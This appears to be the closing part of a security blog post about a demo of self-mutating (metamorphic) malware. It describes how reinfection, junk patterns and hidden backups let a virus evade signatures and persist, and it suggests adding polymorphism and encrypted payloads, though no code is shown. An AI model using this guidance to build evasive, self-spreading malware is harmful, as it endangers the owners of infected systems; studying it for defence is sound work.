Currently, the mutation engine only processes its own defined junk patterns. It does not touch arbitrary instruction sequences. It also only supports basic register replacement so far. Features such as instruction reordering, control-flow rewriting, and logical substitution are absent.

Mutation patterns are hard-coded. There is no adaptive behavior. Propagation logic is also kept simple.

The Art of Self-Mutating Malware


vx-mutation-demo #

Each generation becomes different at the byte level, yet does the same things. What changes is the implementation, not the behavior. This is exactly why it shatters static signatures.

As the VX repeatedly reinfects, the code drifts further from its original form. The hidden backup mechanism helps it stay low-profile. The original file continues to run normally, allowing the VX to persist quietly.

Of course, these capabilities come at a cost: CPU and memory consumption, and doubled storage usage due to backups.


β€” Possibilities β€” #

If you want to push further, you will need a larger pattern library, smarter runtime self-analysis, clean syscall abstraction for cross-platform support, and deeper code analysis with control-flow and data-flow mapping.

Combine it with polymorphism: encrypted payload + deformable code structure creates a layered system. Surface randomization, internal concealment, final behavior invariant. The adversary will find almost no stable anchor points.

Metamorphic code proves that software can continuously evolve its own implementation while keeping its goals unchanged.

I recommend running the code inside a debugger rather than executing it blindly. Set breakpoints and step down into the assembly layer to inspect exactly what is being generated. This is the best way to catch subtle anomalies.

That’s all for now β€” see you next time.

Disclaimer:
This blog post is provided solely for educational and research purposes. All technical details and code examples are intended to help defenders understand attack techniques and improve security posture. Please do not use this information to access or interfere with systems you do not own or lack explicit permission to test. Unauthorized use may violate laws and ethical standards. The author assumes no responsibility for any misuse or damage resulting from the application of the concepts discussed.


Excalibra Verified
Author
Excalibra
Cybersecurity researcher